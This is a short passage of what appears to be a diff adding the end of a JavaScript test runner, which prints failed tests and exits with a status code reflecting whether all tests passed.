${f}`)); +} + +console.log("═".repeat(60)); + +if (failed > 0) { + process.exit(1); +} else { + console.log("\nπŸŽ‰ All tests passed!\n"); + process.exit(0); +}